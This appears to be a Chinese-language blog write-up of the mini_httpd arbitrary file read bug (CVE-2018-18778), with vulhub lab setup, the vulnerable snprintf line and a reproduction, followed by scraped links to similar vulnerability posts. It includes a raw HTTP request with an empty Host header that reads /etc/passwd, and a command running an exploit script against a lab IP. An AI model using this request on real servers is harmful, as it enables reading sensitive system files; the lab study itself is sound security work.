.exp文件_mini_httpd 任意文件读取漏洞(附EXP脚本)

一、环境搭建：

进入镜像目录：

cd vulhub/mini_httpd/CVE-2018-18778

启动环境：

docker-compose up -d

访问8088端口

二、漏洞描述：

Mini_httpd是一个微型的Http服务器，在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%)，因此广泛被各类IOT(路由器，交换器，摄像头等)作为嵌入式服务器。而包括华为，zyxel，海康威视，树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。

在mini_httpd开启虚拟主机模式的情况下，用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件。

(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

当HOST=example.com、FILE=index.html的时候，上述语句结果为example.com/index.html，文件正常读取。

当HOST为空、FILE=etc/passwd的时候，上述语句结果为/etc/passwd。

后者被作为绝对路径，于是读取到了/etc/passwd，造成任意文件读取漏洞。

三、漏洞复现：

清空HOST头，路径为读取的文件：

GET /etc/passwd HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: close

成功读取到/etc/passwd：

四、自动化利用EXP:

python3 mini_httpd_exp.py http://192.168.136.131:8080

.exp文件_mini_httpd 任意文件读取漏洞(附EXP脚本)相关推荐

gitlab 更新文件_GitLab任意文件读取漏洞公告
2020年4月28日,GitLab的一个任意文件读取漏洞的漏洞细节被公开.该漏洞补丁于2020年3月26号由GitLab官方发布.深信服安全研究团队依据漏洞重要性和影响力进行评估,作出漏洞通告. 漏洞 ...
一、WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]
时间戳--2021.12.12 0x01 [HXBCTF 2021]easywill_WriteUp: 一.PHPSTORM框架调试第一步:登录buuctf,打开[HXBCTF 2021]easyw ...
flexpaper php 代码,FlexPaper 2.3.6 远程命令执行漏洞附Exp
影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...
任意文件读取及删除漏洞
任意文件读取漏洞及危害通过提交专门设计的输入,攻击者就可以在被访问的文件系统中读取或写入任意内容,往往能够使攻击者从服务器上获取敏感信息文件,正常读取的文件没有经过校验或者不严格,用户可以控制这个变 ...
【MetInfo任意文件读取】--任意文件读取漏洞
文章目录漏洞信息一.漏洞产生的原因二.漏洞利用 1.对靶机网址进行burp抓包 2.对上述请求包进行修改三.漏洞修复与绕过--四种修复与绕过 1.置空../和./ 2.对$dir进行判断 3. ...
任意文件读取与下载漏洞学习
原理: 任意文件读取漏洞属于文件操作类漏洞,一般常见于PHP/java/python语言中.任意文件读取漏洞,就是可以任意读取服务器上部分或者全部文件的漏洞,攻击者利用此漏洞可以读取服务器敏感文件如/ ...
深信服应用交付报表系统 download.php 任意文件读取漏洞
漏洞描述: 深信服应用交付报表系统 download.php文件存在任意文件读取漏洞,攻击者通过漏洞可以下载服务器任意文件. 漏洞利用条件: download.php文件接口漏洞影响范围: 应用交 ...
7天学习Go语言-尾声+一次险些翻车的任意文件读取漏洞小记
接口接口的定义接口(interface )类型是对其他类型行为的概括和抽象,接口类型定义了一组方法,但是不包括这些方法的具体实现接口本质是一种指针类型,可以实现多态功能.如果一个类型实现了某个接 ...
蓝海卓越计费管理系统漏洞学习——download.php 任意文件读取漏洞
警告请勿使用本文提到的内容违反法律. 本文不提供任何担保目录警告一.概述二.影响版本三.漏洞复现一.概述蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞,攻击者通 ...

.exp文件_mini_httpd 任意文件读取漏洞(附EXP脚本)

.exp文件_mini_httpd 任意文件读取漏洞(附EXP脚本)相关推荐

最新文章

热门文章